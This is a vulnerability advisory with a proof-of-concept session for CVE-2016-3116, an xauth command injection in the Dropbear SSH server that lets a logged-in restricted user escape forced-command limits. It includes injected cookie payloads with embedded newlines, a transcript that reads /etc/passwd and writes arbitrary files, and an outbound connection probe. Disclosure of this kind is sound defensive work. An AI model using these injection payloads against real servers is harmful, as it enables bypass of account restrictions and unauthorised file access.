pub

VuNote

Author:		<github.com/tintinweb>
Ref:		https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3116
Version: 	0.2
Date: 		Mar 3rd, 2016

Tag:		dropbearsshd xauth command injection may lead to forced-command bypass

Overview

Name:			dropbear
Vendor:			Matt Johnston
References:		* https://matt.ucc.asn.au/dropbear/dropbear.html [1]

Version:		2015.71
Latest Version:	2015.71
Other Versions:	<= 2015.71 (basically all versions with x11fwd support; v0.44 ~11 years)
Platform(s):	linux
Technology:		c

Vuln Classes:	CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
Origin:			remote
Min. Privs.:	post auth

CVE:			CVE-2016-3116

Description

quote website [1]

Dropbear is a relatively small SSH server and client. It runs on a variety of POSIX-based platforms. Dropbear is open source software, distributed under a MIT-style license. Dropbear is particularly useful for “embedded”-type Linux (or other Unix) systems, such as wireless routers.

Summary

An authenticated user may inject arbitrary xauth commands by sending an x11 channel request that includes a newline character in the x11 cookie. The newline acts as a command separator to the xauth binary. This attack requires the server to have ‘X11Forwarding yes’ enabled. Disabling it, mitigates this vector.

By injecting xauth commands one gains limited* read/write arbitrary files, information leakage or xauth-connect capabilities. These capabilities can be leveraged by an authenticated restricted user - e.g. one with configured forced-commands - to bypass account restriction. This is generally not expected.

The injected xauth commands are performed with the effective permissions of the logged in user as the sshd already dropped its privileges.

Quick-Info:

Capabilities (xauth):

see attached PoC

Details

// see annotated code below

* x11req (svr-x11fwd.c:46)
  
* execchild (svr-chansession.c:893)
 *- x11setauth (svr-x11fwd.c:129)

Upon receiving an x11-req type channel request dropbearsshd parses the channel request parameters x11authprot and x11authcookie from the client ssh packet where x11authprot contains the x11 authentication method used (e.g. MIT-MAGIC-COOKIE-1) and x11authcookie contains the actual x11 auth cookie. This information is stored in a session specific datastore. When calling execute on that session, dropbear will call execchild and - in case it was compiled with x11 support - setup x11 forwarding by executing xauth with the effective permissions of the user and pass commands via stdin. Note that x11authcookie nor x11authprot was sanitized or validated, it just contains user-tainted data. Since xauth commands are passed via stdin and \n is a command-separator to the xauth binary, this allows a client to inject arbitrary xauth commands.

This is an excerpt of the man xauth [2] to outline the capabilities of this xauth command injection:

SYNOPSIS
   	xauth [ -f authfile ] [ -vqibn ] [ command arg ... ]

	add displayname protocolname hexkey
	generate displayname protocolname [trusted|untrusted] [timeout seconds] [group group-id] [data hexdata]
	[n]extract filename displayname...
	[n]list [displayname...]
	[n]merge [filename...]
	remove displayname...
	source filename
	info  
	exit
	quit
	version
	help
	?

Interesting commands are:

info	 - leaks environment information / path
		~# xauth info
		xauth:  file /root/.Xauthority does not exist
		Authority file:       /root/.Xauthority
		File new:             yes
		File locked:          no
		Number of entries:    0
		Changes honored:      yes
		Changes made:         no
		Current input:        (argv):1

source	 - arbitrary file read (cut on first `\s`)
		# xauth source /etc/shadow
		xauth:  file /root/.Xauthority does not exist
		xauth: /etc/shadow:1:  unknown command "smithj:Ep6mckrOLChF.:10063:0:99999:7:::"
					
extract  - arbitrary file write 
		 * limited characters
         * in xauth.db format
         * since it is not compressed it can be combined with `xauth add` to 
           first store data in the database and then export it to an arbitrary
           location e.g. to plant a shell or do other things.

generate - connect to <ip>:<port> (port probing, connect back and pot. exploit
		   vulnerabilities in X.org

Source

Inline annotations are prefixed with //#!

Proof of Concept

Prerequisites:

Note: see cve-2016-3115 [3] for poc.py

 Usage: <host> <port> <username> <password or path_to_privkey>
        
        path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key

poc:

  1. configure one user (user1) for force-commands:
     #PUBKEY line - force commands: only allow "whoami"
     #cat /home/user1/.ssh/authorized_keys
     command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user1@box
    
     #cat /etc/passwd
     user1:x:1001:1001:,,,:/home/user1:/bin/bash
    
  2. run dropbearsshd (x11fwd is on by default)

     #> ~/dropbear-2015.71/dropbear -R -F -E -p 2222
     [22861] Not backgrounding
     [22862] Child connection from 192.168.139.1:49597
     [22862] Forced command 'whoami'
     [22862] Pubkey auth succeeded for 'user1' with key md5 dc:b8:56:71:89:36:fb:dc:0e:a0:2b:17:b9:83:d2:dd from 192.168.139.1:49597
    
  3. forced-commands - connect with user1 and display env information

     #> python <host> 2222 user1 .demoprivkey
    	
     INFO:__main__:add this line to your authorized_keys file: 
     #PUBKEY line - force commands: only allow "whoami"
     #cat /home/user/.ssh/authorized_keys
     command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydblr32MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user@box
    	
     INFO:__main__:connecting to: user1:<PKEY>@192.168.139.129:2222
     INFO:__main__:connected!
     INFO:__main__:
     Available commands:
         .info
         .readfile <path>
         .writefile <path> <data>
         .exit .quit
         <any xauth command or type help>
    	
     #> .info
     DEBUG:__main__:auth_cookie: '\ninfo'
     DEBUG:__main__:dummy exec returned: None
     INFO:__main__:Authority file:       /home/user1/.Xauthority
     File new:             no
     File locked:          no
     Number of entries:    2
     Changes honored:      yes
     Changes made:         no
     Current input:        (stdin):2
     user1
     /usr/bin/xauth: (stdin):1:  bad "add" command line
    	
     ...
    
  4. forced-commands - read /etc/passwd

     ...
     #> .readfile /etc/passwd
     DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'
     DEBUG:__main__:dummy exec returned: None
     INFO:__main__:root:x:0:0:root:/root:/bin/bash
     daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
     bin:x:2:2:bin:/bin:/usr/sbin/nologin
     sys:x:3:3:sys:/dev:/usr/sbin/nologin
     sync:x:4:65534:sync:/bin:/bin/sync
     ...
    
  5. forced-commands - write /tmp/testfile

     #> .writefile /tmp/testfile1 `thisisatestfile`
     DEBUG:__main__:auth_cookie: '\nadd 127.0.0.250:65500 `thisisatestfile` aa'
     DEBUG:__main__:dummy exec returned: None
     DEBUG:__main__:auth_cookie: '\nextract /tmp/testfile1 127.0.0.250:65500'
     DEBUG:__main__:dummy exec returned: None
     DEBUG:__main__:user1
     /usr/bin/xauth: (stdin):1:  bad "add" command line
    	
     #> INFO:__main__:/tmp/testfile1
    	
     #> ls -lsat /tmp/testfile1
     4 -rw------- 1 user1 user1 59 xx xx 12:51 /tmp/testfile1
    	
     #> cat /tmp/testfile1
     ú65500hiú65500`thisisatestfiler
    
  6. forced-commands - initiate outbound X connection to 8.8.8.8:6100

     #> generate 8.8.8.8:100
     DEBUG:__main__:auth_cookie: '\ngenerate 8.8.8.8:100'
     DEBUG:__main__:dummy exec returned: None
     INFO:__main__:user1
     /usr/bin/xauth: (stdin):1:  bad "add" command line
     /usr/bin/xauth: (stdin):2:  unable to open display "8.8.8.8:100".
    	
     #> tcpdump 
     IP <host> 8.8.8.8.6100: Flags [S], seq 81800807, win 29200, options [mss 1460,sackOK,TS val 473651893 ecr 0,nop,wscale 10], length 0
    

Fix

Mitigation / Workaround

Notes

Thanks to the OpenSSH team for coordinating the fix!

Vendor response see: changelog [4]

References

[1] https://matt.ucc.asn.au/dropbear/dropbear.html
[2] http://linux.die.net/man/1/xauth
[3] https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3115/
[4] https://matt.ucc.asn.au/dropbear/CHANGES

Contact

https://github.com/tintinweb